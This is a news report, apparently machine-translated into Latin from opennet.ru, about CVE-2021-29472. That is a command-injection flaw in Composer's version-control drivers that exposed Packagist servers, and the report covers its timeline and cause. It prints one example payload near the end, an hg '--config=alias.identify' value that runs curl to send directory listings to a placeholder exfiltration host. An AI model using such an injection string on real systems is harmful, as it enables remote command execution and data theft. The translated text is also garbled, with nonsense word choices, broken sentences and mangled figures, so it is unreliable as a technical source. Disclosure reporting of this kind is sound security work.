Vulnerabilitas in involucro compositoris procuratoris qui permittit repositorium Packagist PHP ad decipi

vulnerabilitas critica (CVE-2021-29472) notus est procurator dependentiae in Composer qui permittit ut arbitraria mandata exsecutioni mandari in involucro dispensando cum valore proprie formato URL qui dat speciem inscriptionis ad fontem codicem detrahendum. Problema occurrit in GitDriver, SvnDriver, et HgDriver componentibus adhibitis cum Git, Subversion, et Mercuriali fonte systemata regendi utentes. Dissolutio vulnerabilitas in Composer emissione 1.10.22 et 2.0.13.

In specie notandum est quaestionem principaliter adfectum Composer default sarcina repositorium, Packagist, quod 306 fasciculos PHP tincidunt continet et plus quam 1.4 miliarda downloads per mensem ministrat. Experimentum ostendit, si quaestionis cognitio esset, oppugnatores infrastructuram Packagist potiri posse et documentorum assertorum vel redirectorum instrumentorum intercludere ad tertiam partem servientis, enunciando variantium sarcinarum cum malitiosis mutationibus posticum substituere. per dependentiam institutionem processus.

Periculum pro fine utentium eo circumscribitur quod materia compositoris ab utentis solet determinari, et nexus fons traducitur cum repositoria tertia-partium accessio, quae plerumque sunt fide digna. Ictus principalis incidit in repositorium Packagist.org et servicium Secretarium Packagist, quod vocatur Composer cum translatione notitiarum ab utentium acceptis. Impugnatores codicem suum exequi possent in servientibus Packagist ponendo sarcinam specialem designatam.

Turma Packagista vulnerabilitatem intra XII horas de nuntiando vulnerabilitas fixit. Investigatores in tincidunt Packagist secreto notaverunt die 12 mensis Aprilis, et quaestio eodem die definita est. Publica renovatio cum Compositore allocutus vulnerabilitatem die 22 Aprilis divulgavit, cum singularia die 27 Aprilis revelata sunt. Auditorium lignorum in servientibus Packagist nullam actionem suspectam ad vulnerabilitatem pertinentem revelavit.

Problema causatur a cimex in URL sanationis codice in compositore.json fasciculi radix et nexus download nexus. Error in codice post mensem Novembrem MMXI fuit. Packagist specialibus stratis utitur ad onerandum codicem ordinandum sine ligato ad peculiare principium systematis imperium, quod vocant "fromShellCommandline" efficiunt et recta argumenta imperant. Exempli gratia, pro git, mandatum "git ls-remotum capitis $URL" appellatur, ubi Domicilium utens "ProcessExecutor::effugere($url)" dicitur, ut "$(. ..)" or "` ...`".

Media quaestio est quod ProcessExecutor:: modum effugiendi "-" seriem non effugit, quae permisit cuilibet modulo addito vocationem in URL definiri. Talis elapsus defuit in GitDriver.php, SvnDriver.php et HgDriver.php rectoribus. Impetum GitDriver.php impeditum erat quod mandatum "git ls-remotum" non confirmans rationes additas post iter confirmans. Impetum in HgDriver.php evenit ut possibile transeundo "--config" parametrum ad utilitatem "hq", quae permittit ut cuiuslibet praecepti exsecutionem instituere per "alias.identify" constituere. Exempli gratia, codicem deprimere et ad utilitatem currendo exsequi, specificare potes: -config=alias.identify=!curl http://exfiltration-host.tld -data "$(ls -alh)"

Indagatores explorati sunt cum simili URL ad Packagist ponendo sarcinam testam disposito, eorum servo HTTP peticionem ab uno ex servientibus Packagist in AWS continentibus enumerationem imaginum in presul hodiernae.

Source: opennet.ru